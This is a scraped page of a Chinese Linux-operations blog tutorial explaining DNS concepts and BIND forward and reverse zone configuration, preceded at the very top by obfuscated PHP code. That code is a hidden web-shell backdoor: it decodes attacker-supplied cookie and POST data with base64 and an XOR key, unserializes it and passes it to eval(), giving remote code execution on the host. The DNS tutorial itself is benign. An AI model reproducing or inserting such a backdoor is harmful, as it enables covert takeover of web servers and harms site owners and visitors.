$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux DNS服务系列之原理介绍及正反向解析配置 | Linux运维部落

Linux DNS服务系列之原理介绍及正反向解析配置

前言

我们在访问一个网站的时候,只要输入该网站的网址就会跳转到该网站页面,而实现这一过程就需要DNS服务器将域名解析为IP地址,进而实现数据通信。那么DNS服务器是如何工作的呢?本系列分为两部分,本文将详解DNS服务原理及正反向解析配置。

DNS服务原理详解

DNS相关知识

DNS:Domain Name Service,域名解析服务

监听端口:udp/53,tcp/53

应用程序:bind

根域:.

一级域:

            组织域:.com, .org, .net, .mil, .edu, .gov, .info, .cc, .me, .tv

            国家域:.cn, .us, .uk, .jp, .tw, .hk, .iq, .ir

            反向域:.in-addr.arpa

DNS树状结构

1.jpg

解析方式

正向解析:FQDN –> IP

反向解析:IP –> FQDN

FQDN:(Fully Qualified Domain Name)全称域名

DNS查询方式

递归:DNS请求被服务器接受后,如果属于此服务器管辖范围则请求上级服务器依次传递请求,并且依次传递结果给发出请求的主机。

2.jpg  

#客户端指向的服务器一定给递归服务

迭代: DNS请求被服务器接受后,如果不是自己管辖范围,让客户端访问根域服务器,然后跟域通知客户端去访问下级服务器,直到最后客户端访问管辖请求域名的服务器为止。

3.jpg

区域解析库

资源记录:rr(resource record)用于此记录解析的属性

                SOA: Start Of Authority, 起始授权记录,一个区域文件只能有一个

                 NS:Name Server,域名服务器

                 MX: Mail eXchange, 邮件交换器,MX记录有优先级属性(0-99)

                 A:FQDN –> IP,专用于正向解析库

                 PTR: IP –> FQDN,专用于反向解析库

                 AAAA:FQDN –> IPv6,专用于正向解析库

                 CNAME: Canonical Name,正式名称

DNS服务器类型

主DNS服务器

从DNS服务器

缓存服务器

区域传送

解析库文件同步的过程,即辅助DNS服务器与主DNS服务器间的区域文件同步传输过程。

完全区域传送:传送区域的所有数据,AXFER

增量区域传送:传送区域中改变的数据,IXFER

DNS资源记录格式

格式:

name 	[ttl] 	IN 	RRType    value	

SOA记录:

name: 区域名称,通常可以简写为@
value: 主DNS服务器的FQDN,也可以当前区域的区域名称
注意:任何解析库文件的第一个记录的类型必须是SOA

例如:
@    IN    SOA    ns.scholar.com.    admin.scholar.com.    (
                                     serial number ;#解析库版本号,例如2015040701
                                     refresh time  ;#刷新时间,即同步时间
                                     retry time    ;#重试时间
                                     expire time   ;#过期时间
                                     negative answer ttl ;#否定答案的统一缓存时长
                                     )

NS记录:

name: 区域名称
value: DNS服务器的FQDN
注意:如果有多台NS服务器,每一个都必须有对应的NS记录;
      对于正向解析文件来讲,每一个NS的FQDN都应该有一个A记录;

例如:
@    IN    NS    ns.scholar.com.

MX记录:

name: 区域名称
value: 邮件服务器的FQDN
优先级:0-99.数字越小,越优先
注意:如果有多台MX服务器,每一个都必须有对应的MX记录;但各MX记录还有优先级属性
对于正向解析文件来讲,每一个NS的FQDN都应该有一个A记录;

例如:
@    IN    MX 10    mail.scholar.com.
@    IN    MX 20    mail2.scholar.com.

A记录:

name: FQDN(可简写)
value: IP

例如:
www    IN    A    172.16.10.10
www    IN    A    172.16.10.100
pop3    IN   A    172.16.10.10
imap    IN   A    172.16.10.10

AAAA记录:

name: FQDN(可简写)
value: ipv6 IP

CNAME记录:

name: FQDN
value: FQDN

例如:
www    IN    A    172.16.10.10
ftp    IN    CNAME    www

PTR记录:

name: 逆向的主机IP地址加后缀in-addr.arpa,例如172.16.10.10/16, 网络地址为172.16, 
主机地址为10.10,其name为10.10.in-addr.arpa.(可简写)
value: FQDN

例如:
10    IN    PTR    www.scholar.com.

DNS服务配置之正反向解析

服务程序包介绍

Linux下可提供DNS服务的程序包为bind(bekerley internet name domain)

服务脚本:/etc/rc.d/init.d/named

主配置文件:/etc/named.conf, /etc/named.rfc1912.zones

区域解析库文件:/var/named/zone_name.zone

主配置文件中通常有三个区域:根、localhost、127.0.0.1的反向区域

域类型:主域(master)、从域(slave)、缓存域(hint)、转发域(forward)

实战正反向解析配置

案例要求:

DNS服务器地址:172.16.10.10

www:172.16.10.10

mail:172.168.10.12

pop:mail别名,指向mail

ftp:www别名,指向www

要求可以实现正反向解析

编辑主配置文件,添加正向区域和反向区域

[root@scholar ~]# vim /etc/named.conf 


options {                                                #全局配置
        //listen-on port 53 { 127.0.0.1; };              #注释后监听全部IP的53端口
        //listen-on-v6 port 53 { ::1; };
        directory       "/var/named";                    #区域文件目录
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";
        //allow-query     { localhost; };          #访问控制,注释后允许所有IP访问
        recursion yes;                             #是否递归

        //dnssec-enable yes;
        //dnssec-validation yes;
        //dnssec-lookaside auto;

        /* Path to ISC DLV key */
        bindkeys-file "/etc/named.iscdlv.key";

        managed-keys-directory "/var/named/dynamic";
};

logging {                                           #定义日志
        channel default_debug {
                file "data/named.run";
                severity dynamic;
        };
};

zone "." IN {
        type hint;
        file "named.ca";
};
zone "scholar.com" IN {                             #正向区域
        type master;
        file "scholar.com.zone";
};
zone "10.16.172.in-addr.arpa" IN {                  #反向区域
        type master;
        file "172.16.10.zone";
}; 
include "/etc/named.rfc1912.zones";                 
//include "/etc/named.root.key";

创建正向区域文件

[root@scholar named]# vim scholar.com.zone   #必须与区域文件名保持一致

$TTL 3600
@       IN      SOA     dns.scholar.com.        admin.scholar.com. (
                                                        2015040701
                                                        2H
                                                        10M
                                                        7D
                                                        1D )
@       IN      NS      dns
@       IN      MX 10   mail
dns     IN      A       172.16.10.10
mail    IN      A       172.16.10.12
www     IN      A       172.16.10.10
pop     IN      CNAME   mail
ftp     IN      CNAME   www

创建反向区域文件

[root@scholar named]# vim 172.16.10.zone    #必须与区域文件名保持一致

$TTL 3600
@       IN      SOA     dns.scholar.com.        admin.scholar.com. (
                                                        2015040701
                                                        2H
                                                        10M
                                                        7D
                                                        1D )
@       IN      NS      dns.scholar.com.
10      IN      PTR     dns.scholar.com.
12      IN      PTR     mail.scholar.com.
10      IN      PTR     www.scholar.com.

修改权限及属组

4.jpg

检查语法,启动服务并设置开机自启

5.jpg

查看tcp和upd的53端口是否开启

6.jpg

正向解析测试

7.jpg

反向解析测试

8.jpg

The end

经过以上测试,正向反向都可以成功解析,至此DNS服务的基本服务算是完成了,测试命令除了dig还可使用nslookup等,想了解dig和其它测试命令命令想自行查手册,这里不做详解了。第二部分将会讲解主从复制,子域授权和转发以及view,如有兴趣请关注下文。

以上仅为个人学习整理,如有错漏,大神勿喷~~~

原创文章,作者:书生,如若转载,请注明出处:http://www.178linux.com/2872

(3)
上一篇 2015-04-13 10:04
下一篇 2015-04-13 10:09

相关推荐

  • PXE原理详解及实践

    一、PXE简介 PXE(preboot execute environment,预启动执行环境)是由Intel公司开发的最新技术,工作于Client/Server的网络模式,支持工作站通过网络从远端服务器下载映像,并由支持通过网络启动操作系统,再启动过程中,终端要求服务器分配IP地址,再用TFTP(trivial file transfer protocol…

    Linux干货 2017-01-10
  • 文本处理三剑客之AWK

    AWK的基本格式:    awk [options] 'program' file…          注释:     program->pat…

    Linux干货 2016-09-22
  • 磁盘分区相关知识

    磁盘分区相关知识 使用磁盘分区的过程设备识别→设备分区→创建文件系统→标记文件系统→在/etc/fstab文件中创建条目→挂载新的文件系统 分区不是必须的,但是分区是必要的:优化I/O性能实现磁盘空间配额限制提高修复速度隔离系统和程序安装多个OS采用不同文件系统 不重启激活新添加的磁盘:echo “- – -” > …

    Linux干货 2017-08-20
  • shell中$(( ))、$( )、“与${ }的区别

    shell中$(( ))、$( )、“与${ }的区别,包括其简单用法。

    2017-09-11
  • linux学习心得

    Linux学习心得 之前没怎么了解过linux运维,机缘巧合来到了这里,刚刚开始一脸蒙圈,或者说现在仍然是,不过最大的收获是我在这里真正认真学习了,有了一个端正的态度,一切都是好的开始。 这一周,我学习了linux的发展史,如何安装系统,一些简单的命令等。。。。下面我一一介绍一下,初学者,可能简单粗暴,多多指教! 系统安装: 1:首先用光盘进行linuxIS…

    2017-07-16
  • Linux误删大文件的一个可能解救办法

    描述:某个网友说他在进行md5指纹对比某文件的时候,另外一个同事在另外一个窗口删除了该文件,然后顺嘴跟他说了下,这时候他意识到同事可能是误删除了,于是,他利用了以下办法来进行解救: 操作顺序如下: 1)网友的操作: [root@C67-X64-A0 ~]# ls -l /test.img  -rw-r–r-…

    Linux干货 2016-08-02

评论列表(1条)

  • stanley
    stanley 2015-04-13 10:08

    非常清晰明了的思路,图画的非常棒,赞